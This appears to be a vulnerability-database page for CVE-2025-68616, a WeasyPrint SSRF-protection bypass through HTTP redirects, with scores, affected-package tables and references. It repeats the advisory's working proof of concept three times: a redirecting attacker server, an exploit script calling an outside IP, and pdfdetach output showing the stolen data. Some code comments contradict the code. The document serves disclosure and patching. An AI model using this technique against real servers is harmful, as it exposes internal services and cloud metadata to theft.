CVE-2025-68616
WeasyPrint Vulnerable to Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
WeasyPrint Vulnerable to Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.
- Record
CVE-2025-68616- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-601, CWE-918, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2025-206301
7.5
WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.
- Record
EUVD-2025-206301- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-983w-rhvv-gwmv
7.5
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Summary
A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.
Details
The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.
While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.
This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).
PoC
To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).
1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.
from flask import Flask
app = Flask(__name__)
@app.route('/secret')
def secret():
return "CRITICAL_INTERNAL_DATA"
if __name__ == '__main__':
# Listens on localhost:5000
app.run(port=5000)
2. attacker.py (External Redirector - Port 1337)
Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious():
# The vulnerability: Redirects to the BLOCKED hostname
return redirect("http://localhost:5000/secret", code=302)
if __name__ == '__main__':
app.run(port=1337)
3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".
from weasyprint import HTML, default_url_fetcher
import logging
# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
# Simulates a blacklist for 'localhost'
if "localhost" in url:
raise PermissionError(f"Security Block: Access to {url} denied.")
print(f"[ALLOWED] Initial URL check passed for: {url}")
return default_url_fetcher(url)
# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP).
# The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.
try:
# Use 127.0.0.1 to bypass the string check for 'localhost'
html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'
doc = HTML(string=html_content, url_fetcher=secure_fetcher)
doc.write_pdf("exploit.pdf")
print("Exploit successful. The 'localhost' block was bypassed via redirect.")
print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
print(f"Exploit failed: {e}")
4. Attacker read attachment in PDF
➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA
Evidence <img width="1514" height="436" alt="image" src="https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9" />
Impact
This vulnerability…
- Record
GHSA-983w-rhvv-gwmv- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-601, CWE-918
- Updated
- 2026-11-02
NVD
7.5
WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.
- Record
CVE-2025-68616- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-601, CWE-918
- Updated
- 2026-11-02
OSV
7.5
WeasyPrint Vulnerable to Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.
- Record
CVE-2025-68616- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-601, CWE-918
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-68616
7.5
WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.
- Record
DEBIAN-CVE-2025-68616- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-983w-rhvv-gwmv
7.5
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Summary
A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.
Details
The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.
While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.
This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).
PoC
To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).
1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.
from flask import Flask
app = Flask(__name__)
@app.route('/secret')
def secret():
return "CRITICAL_INTERNAL_DATA"
if __name__ == '__main__':
# Listens on localhost:5000
app.run(port=5000)
2. attacker.py (External Redirector - Port 1337)
Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious():
# The vulnerability: Redirects to the BLOCKED hostname
return redirect("http://localhost:5000/secret", code=302)
if __name__ == '__main__':
app.run(port=1337)
3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".
from weasyprint import HTML, default_url_fetcher
import logging
# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
# Simulates a blacklist for 'localhost'
if "localhost" in url:
raise PermissionError(f"Security Block: Access to {url} denied.")
print(f"[ALLOWED] Initial URL check passed for: {url}")
return default_url_fetcher(url)
# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP).
# The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.
try:
# Use 127.0.0.1 to bypass the string check for 'localhost'
html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'
doc = HTML(string=html_content, url_fetcher=secure_fetcher)
doc.write_pdf("exploit.pdf")
print("Exploit successful. The 'localhost' block was bypassed via redirect.")
print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
print(f"Exploit failed: {e}")
4. Attacker read attachment in PDF
➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA
Evidence <img width="1514" height="436" alt="image" src="https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9" />
Impact
This vulnerability…
- Record
GHSA-983w-rhvv-gwmv- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-601, CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-2034
7.5
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Summary
A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.
Details
The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.
While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.
This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).
PoC
To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).
1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.
from flask import Flask
app = Flask(__name__)
@app.route('/secret')
def secret():
return "CRITICAL_INTERNAL_DATA"
if __name__ == '__main__':
# Listens on localhost:5000
app.run(port=5000)
2. attacker.py (External Redirector - Port 1337)
Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/image.png')
def malicious():
# The vulnerability: Redirects to the BLOCKED hostname
return redirect("http://localhost:5000/secret", code=302)
if __name__ == '__main__':
app.run(port=1337)
3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".
from weasyprint import HTML, default_url_fetcher
import logging
# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
# Simulates a blacklist for 'localhost'
if "localhost" in url:
raise PermissionError(f"Security Block: Access to {url} denied.")
print(f"[ALLOWED] Initial URL check passed for: {url}")
return default_url_fetcher(url)
# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP).
# The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.
try:
# Use 127.0.0.1 to bypass the string check for 'localhost'
html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'
doc = HTML(string=html_content, url_fetcher=secure_fetcher)
doc.write_pdf("exploit.pdf")
print("Exploit successful. The 'localhost' block was bypassed via redirect.")
print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
print(f"Exploit failed: {e}")
4. Attacker read attachment in PDF
➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA
Evidence <img width="1514" height="436" alt="image" src="https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9" />
Impact
This vulnerability…
- Record
PYSEC-2026-2034- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-68616
7.5
WeasyPrint helps web developers to create PDF documents. Prior to version 68.0, a server-side request forgery (SSRF) protection bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy. Version 68.0 contains a patch for the issue.
- Record
UBUNTU-CVE-2025-68616- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10079-1 No score
python311-weasyprint-68.0-1.1 on GA media
These are all security issues fixed in the python311-weasyprint-68.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10079-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20069-1 No score
Security update for python-weasyprint
This update for python-weasyprint fixes the following issues:
Changes in python-weasyprint:
- CVE-2025-68616: Fixed a server-side request forgery in default fetcher (boo#1256936).
- Record
openSUSE-SU-2026:20069-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
weasyprintPyPI |
before 68.0 | 68.0 |
weasyprintDebian:12 |
All versions, plus listed versions 57.2-159.0-160.2-161.0-161.1-1 Show 9 moreShow less61.2-161.2-262.0-162.1-162.2-162.3-167.0-169.0-169.0-2 |
None known |
weasyprintDebian:13 |
All versions, plus listed versions 62.3-167.0-169.0-169.0-2 |
None known |
weasyprintDebian:14 |
before 69.0-1, plus listed versions 62.3-167.0-1 |
69.0-1 |
weasyprintPyPI |
before 68.0, plus listed versions 0.10.100.110.120.13 Show 45 moreShow less0.140.150.160.170.17.10.180.190.19.10.19.20.20.2.10.2.20.200.20.10.20.20.210.220.230.240.250.260.270.280.290.30.3.10.300.310.320.330.340.350.360.370.380.390.40.400.410.420.42.10.42.20.42.30.50.6 |
68.0 |
weasyprintUbuntu:20.04:LTS |
All versions, plus listed versions 50-251-151-2 |
None known |
weasyprintUbuntu:22.04:LTS |
All versions, plus listed versions 51-251-353.4-154.0-154.1-1 |
None known |
weasyprintUbuntu:24.04:LTS |
All versions, plus listed versions 59.0-160.2-161.0-161.1-1 |
None known |
weasyprintUbuntu:25.10 |
All versions, plus listed versions 62.3-1 |
None known |
weasyprintUbuntu:26.10 |
All versions, plus listed versions 67.0-169.0-169.0-2 |
None known |
weasyprintUbuntu:26.04:LTS |
All versions, plus listed versions 62.3-162.3-1build167.0-1 |
None known |
python-weasyprintopenSUSE:Tumbleweed |
before 68.0-1.1 | 68.0-1.1 |
python-weasyprintopenSUSE:Leap 16.0 |
before 65.1-bp160.2.1 | 65.1-bp160.2.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | rauljvc8/CVE-2025-68616-Detecting-and-Patching-an-SSRF-in-WeasyPrint-with-Wazuh | 2026-07-18 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-68616 is a high vulnerability (CVSS 7.5) in Kozea Weasyprint, published January 19, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.70%, the 53rd percentile. Fixed in weasyprint 68.0.
References
github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv
github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565
access.redhat.com/security/cve/CVE-2025-68616
bugzilla.redhat.com/show_bug.cgi?id=2430858
security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json
nvd.nist.gov/vuln/detail/CVE-2025-68616
Show 9 moreShow less
github.com/advisories/GHSA-983w-rhvv-gwmv
github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68616.json
security-tracker.debian.org/tracker/CVE-2025-68616
github.com/Kozea/WeasyPrint
pypi.org/project/weasyprint
ubuntu.com/security/CVE-2025-68616
cve.org/CVERecord?id=CVE-2025-68616
suse.com/security/cve/CVE-2025-68616
bugzilla.suse.com/1256936
Left out here: 66 versions and the rest of 3 source descriptions. The JSON record has them.